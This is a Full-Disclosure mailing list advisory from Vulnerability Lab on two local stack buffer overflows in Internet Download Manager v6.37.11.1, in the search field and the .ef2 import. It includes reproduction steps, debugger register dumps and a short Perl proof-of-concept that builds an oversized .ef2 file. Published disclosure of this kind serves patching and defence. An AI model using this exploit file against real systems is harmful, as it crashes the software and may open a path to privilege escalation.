lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 28 Apr 2020 11:05:54 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] Internet Download Manager v6.37.11.1 - Stack Buffer Overflow
 Vulnerabilities

Document Title:
===============
Internet Download Manager v6.37.11.1 - Stack Buffer Overflow Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2236


Release Date:
=============
2020-04-28


Vulnerability Laboratory ID (VL-ID):
====================================
2236


Common Vulnerability Scoring System:
====================================
7.1


Vulnerability Class:
====================
Buffer Overflow


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Internet Download Manager Corp. is a subsidiary of Tonec Inc. that
develops Internet Applications since 1990.
We have strong expertise in network programming, consulting and design
services. Our company started Internet
Download Manager project in 1998 when we where developing network
libraries and console applications for
accelerated files downloading.

(Copy of the Homepage:
https://www.internetdownloadmanager.com/support/about_us.html )
(Sofwtare Product: https://www.internetdownloadmanager.com/download.html)


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a stack
buffer overflow vulnerabilities in the Internet Download Manager
v6.37.11.1 software.


Vulnerability Disclosure Timeline:
==================================
2020-04-28: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
Multiple stack buffer overflow vulnerabilities has been discovered in
the official Internet Download Manager v6.37.11.1 software.
The bufer overflow allows to overwrite registers of the process to
compromise the file-system by elevates local process privileges.

1.1
The first stack buffer overflows is located in the `search` function of
the downloads menu. The search function itself does not use
any secure restriction in the requested search variable of the inputs.
Local attackers with access to the software are able to overflow
the registers to elevate local process privileges. Thus allows a local
attacker to compromise the local computer- or file-system.

1.2
The second stack buffer overflows is located in the `Export/Import`
function of the tasks menu. Local users are able to import and
export the download tasks as *.ef2 file. Local attackers are able to
import manipulated *.ef2 files with manipulated referer and
source url to overwrite the eip register. The issue occurs because of
the insufficient ef2 filetype (context) validation process
that does not perform any length restrictions.

The security risk of the local stack buffer overflow vulnerabilities in
the software are estimated as high with a cvss count of 7.1.
Exploitation of the buffer overflow vulnerability requires a low
privilege or restricted system user account without user interaction.
Successful exploitation of the vulnerability results in overwrite of the
active registers to compromise of the computer system or process.

Vulnerable Module(s):
[+] Search
[+] Import/Export (ef2)


Proof of Concept (PoC):
=======================
1.1
The stack buffer overflow vulnerability can be exploited by local
attackers with system user privileges without user interaction.
For security demonstration or to reproduce the local vulnerability
follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the software
2. Click the downloads menu and open the search
3. Inject a large unicode payload inside the search input field and transmit
4. The software crashs with several uncaught exception because of
overwritten register (0168D8F0)
5. Successful reproduce of the local buffer overflow vulnerability!


--- Debug Logs (0168D8F0) ---
00d61850 668b08          mov     cx,word ptr [eax]        ds:002b:41414141
-
00D6186D  |. 56             PUSH ESI                                 ; /Arg1
-
00D61882  |. E8 59FFFFFF    CALL IDMan.00D617E0                      ;
IDMan.00D617E0
-
00D6189B  |> 50             PUSH EAX                                 ; /Arg1
-
00D6189E  |. E8 3DFFFFFF    CALL IDMan.00D617E0                      ;
IDMan.00D617E0
-
Call stack
 Address=0168C79C
 Stack=00DFE0F2
 Procedure / arguments=IDMan.00D617E0
 Called from=IDMan.00DFE0ED
 Frame=0168E02C
-
SEH chain
Address    SE handler
0168C790   IDMan.00F751E8
0168D8F0   41414141
-
EAX 41414141
ECX 01680000
EDX 41414141
EBX 00000001
ESP 0168C76C
EBP 0168E02C UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
ESI 0168C7AC UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
EDI 00410043
EIP 00D61850 IDMan.00D61850
Executable modules
 Base=00D60000
 Size=00539000 (5476352.)
 Entry=00F5CB1C IDMan.<ModuleEntryPoint>
 Name=IDMan
 File version=6, 37, 11, 2
 Path=C:Program Files (x86)Internet Download ManagerIDMan.exe


1.2
The stack buffer overflow vulnerability can be exploited by local
attackers with system user privileges without user interaction.
For security demonstration or to reproduce the local vulnerability
follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the software
2. Start the bof_poc.pl
3. Open the tasks menu
4. Click import and import *.ef2 poc
Note: The software process crashs on import with uncaught exception
5. Successful reproduce of the local buffer overflow vulnerability!


Usage Example: Export/Import (*.ef2)
<
https://www.vulnerability-lab.com/download_content.php?id=1337
referer: https://www.vulnerability-lab.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
>


PoC: Exploit
#!/usr/bin/perl
# Local Stack Buffer Overflow Exploit for Internet Download Manager
v6.37.11.1
# Vulnerability Laboratory - Benjamin Kunz Mejri
my $poc = "bof_poc.ef2" ;
print "[+] Producing bof_poc.ef2 ..." ;
my $buff0=" "."<" x 1;
my $buff1=" n https://"."A" x 1024;
my $buff2=" n Referer:"."A" x 1024;
my $buff3=" n User Agent:"."A" x 1024;
my $buff4=" n ".">" x 1;
open(ef2, ">>$poc") or die "Cannot open $poc";
print ef2 $buff0;
print ef2 $buff1;
print ef2 $buff2;
print ef2 $buff3;
print ef2 $buff4;
close(ef2);
print "n[+] done !";


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com			
www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com
paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 		
youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]™


-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists